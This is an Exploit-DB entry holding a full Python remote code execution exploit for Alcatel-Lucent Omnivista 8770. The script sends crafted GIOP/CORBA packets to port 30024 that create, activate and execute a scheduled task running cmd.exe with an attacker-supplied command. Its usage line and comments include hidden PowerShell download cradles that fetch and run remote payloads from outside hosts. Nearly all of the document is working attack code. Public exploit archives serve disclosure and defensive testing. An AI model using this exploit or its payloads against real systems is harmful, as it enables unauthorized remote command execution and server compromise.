Alcatel Lucent Omnivista 8770 – Remote Code Execution

  • 作者: malerisch
    日期: 2016-12-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40862/
  • import socket
    import time
    import sys
    import os
    
    # ref https://blog.malerisch.net/
    # Omnivista Alcatel-Lucent running on Windows Server
    
    
    if len(sys.argv) < 2:
    print "Usage: %s <target> <command>" % sys.argv[0]
    print "eg: %s 192.168.1.246 \"powershell.exe -nop -w hidden -c \$g=new-object net.webclient;IEX \$g.downloadstring('http://192.168.1.40:8080/hello');\"" % sys.argv[0]
    sys.exit(1)
    
    target = sys.argv[1]
    argument1 = ' '.join(sys.argv[2:])
    
    # so we need to get the biosname of the target... so run this poc exploit script should be run in kali directly...
    
    netbiosname = os.popen("nbtscan -s : "+target+" | cut -d ':' -f2").read()
    netbiosname = netbiosname.strip("\n")
    
    # dirty functions to do hex magic with bytes...
    ### each variable has size byte before, which includes the string + "\x00" a NULL byte
    ### needs to calculate for each
    ### 
    
    def calcsize(giop):
    
    	s = len(giop.decode('hex'))
    	h = hex(s) #"\x04" -> "04"
    	return h[2:].zfill(8) # it's 4 bytes for the size
    
    def calcstring(param): # 1 byte size calc
    	
    	s = (len(param)/2)+1
    	h = hex(s)
    	return h[2:].zfill(2) # assuming it is only 1 byte , again it's dirty...
    
    def calcstring2(param):
    
    	s = (len(param)/2)+1
    	h = hex(s)
    	return h[2:].zfill(4)
    
    
    
    ##
    
    #GIOP request size is specified at the 11th byte
    
    # 0000 47 49 4f 50 01 00 00 00 00 00 00 d8 00 00 00 00GIOP............
    # d8 is the size of GIOP REQUEST
    
    # GIOP HEADER Is 12 bytes -
    # GIOP REQUEST PAYLOAD comes after and it's defined at the 11th byte
    
    
    
    #phase 1 - add a jobset
    
    giopid = 1 # an arbitrary ID can be put there...
    
    # there are checks in the size of the username.. need to find where the size is specified - anyway, 58 bytes seems all right...
    
    usernamedata = "xxx.y.zzzzz,cn=Administrators,cn=8770 administration,o=nmc".encode('hex') # original "383737302061646d696e697374726174696f6e2c6f3d6e6d63"
    
    #print "Size of usernamedata" + str(len(usernamedata.decode('hex')))
    
    jobname = "MYJOB01".encode('hex') # size of 7 bytes # check also in the captured packet...
    
    
    addjobset = "47494f50010000000000012600000000" + "00000001" + "01000000000000135363686564756c6572496e7465726661636500000000000a4164644a6f625365740000000000000000000008" + jobname + "00000007e0000000060000001b00000010000000240000000000000000000000000000000000000000000000000000000000000000002a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000083131313131313100010000000000000000000000000000010000000000000000000000000000003f7569643d" + usernamedata + "00000000000a6f6d6e69766973626200" # this last part can be changed???
    
    print "Alcatel Lucent Omnivista 8770 2.0, 2.6 and 3.0 - RCE via GIOP/CORBA - @malerisch"
    print "Connecting to target..."
    
    
    
    
    p = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    p.connect((target, 30024))
    
    
    #p = remote(target, 30024, "ipv4", "tcp")
    
    print "Adding a job..."
    
    p.send(addjobset.decode('hex'))
    
    #p.recv()
    
    data = p.recv(1024)
    
    s = len(data)
    
    #objectkey = "" # last 16 bytes of the response!
    
    objectkey = data[s-16:s].encode('hex')
    
    #print objectkey
    
    # phase 2 - active jobset
    
    print "Sending active packet against the job"
    
    activegiopid = 2
    active = "47494f50010000000000003100000000" + "00000002" + "0100000000000010" + objectkey +"0000000741637469766500000000000000"
    
    #print active
    
    p.send(active.decode('hex'))
    
    data2 = p.recv(1024)
    
    #print data2
    
    # phase3 add task
    
    addjobid = 3
    
    print "Adding a task...."
    
    taskname = "BBBBBBB".encode('hex')
    servername = netbiosname.encode('hex')
    command = "C:\Windows\System32\cmd.exe".encode('hex') #on 32bit
    #command = "C:\Windows\SysWOW64\cmd.exe".encode('hex') #on 64bit
    commandsize = hex((len(command.decode('hex'))+1))
    commandsize = str(commandsize).replace("0x","")
    
    #print "Command size: "+ str(commandsize)
    
    #print command.decode('hex')
    
    #time.sleep(10)
    
    #powershell = str(command)
    #powershell = "powershell.exe -nop -c $J=new-object net.webclient;IEX $J.downloadstring('http://192.168.1.40:8080/hello');"
    
    #-nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://10.190.127.154:8080/');
    
    #-nop -w hidden -c $J=new-object net.webclient;$J.proxy=[Net.WebRequest]::GetSystemWebProxy();$J.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $J.downloadstring('http://10.190.127.154:8080/');
    
    argument = str("/c "+argument1).encode('hex')
    #argument = str("/c notepad.exe").encode('hex')
    
    #print len(argument.decode('hex'))
    
    #argumentsize = len(str("/c "+powershell))+1
    
    #print "Argument size: "+str(argumentsize)
    
    argumentsize = calcstring2(argument)
    
    #print "argument size: "+str(argumentsize)
    
    #print argument.decode('hex')
    
    def calcpadd(giop):
    	defaultpadding = "00000000000001"
    	check = giop + defaultpadding + fixedpadding
    	s = len(check)
    	#print "Size: "+str(s)
    	if (s/2) % 4 == 0:
    		#print "size ok!"
    		return check
    	else:
    		# fix the default padding
    		#print "Size not ok, recalculating padd..."
    		dif = (s/2) % 4
    		#print "diff: "+str(dif)
    		newpadding = defaultpadding[dif*2:]
    		#print "Newpadding: " +str(newpadding)
    		return giop + newpadding + fixedpadding
    
    
    
    
    addjobhdr = "47494f5001000000" # 8 bytes + 4 bytes for message size, including size of the giop request message
    
    fixedpadding = "000000000000000100000000000000010000000000000002000000000000000000000000000000000000000f0000000000000000000000000000000000000002000000000000000000000000"
    
    variablepadding = "000000000001"
    
    #print calcstring(servername)
    #print calcstring(taskname)
    
    #print "Command:" +str(command)
    #print "command size:"+str(commandsize)
    
    addjob = "00000000000000b30100000000000010" + objectkey + "000000074164644a6f62000000000000000000" + calcstring(taskname) + taskname + "0000000001000000"+ commandsize + command+"00000000" + calcstring(servername) + servername + "000000" + argumentsize + argument + "00"
    
    #print addjob
    
    addjobfin = calcpadd(addjob)
    
    #print addjobfin.decode('hex')
    
    addjobsize = calcsize(addjobfin)
    
    #print "Lenght of the addjob: "+str(len(addjobfin.decode('hex')))
    
    # we need to add the header
    
    finalmsg = addjobhdr + addjobsize + addjobfin
    
    
    p.send(finalmsg.decode('hex'))
    
    data3 = p.recv(1024)
    
    #print data3
    
    # phase4 - execute task
    
    executeid = 4
    
    print "Executing task..."
    
    execute = "47494f50010000000000003500000000000001100100000000000010" + objectkey + "0000000b457865637574654e6f7700000000000000"
    
    p.send(execute.decode('hex'))
    
    data4 = p.recv(1024)
    
    print "All packets sent..."
    print "Exploit sequence completed, command should have been executed...:-)"
    
    p.close()
    
    # optional requests to remove the job after the exploitation
    
    ### in metasploit, we should migrate to another process and then call an "abort" function of Omnivista
    
    ##phase5 - abort the job
    
    canceljob = "47494f500100000000000030000000000000008e0100000000000010" + objectkey + "0000000743616e63656c000000000000"
    
    ###phase6 - delete the jobset 
    
    deletejob = "47494f500100000000000038000000000000009e0100000000000010" + objectkey + "0000000d44656c6574654a6f625365740000000000000000"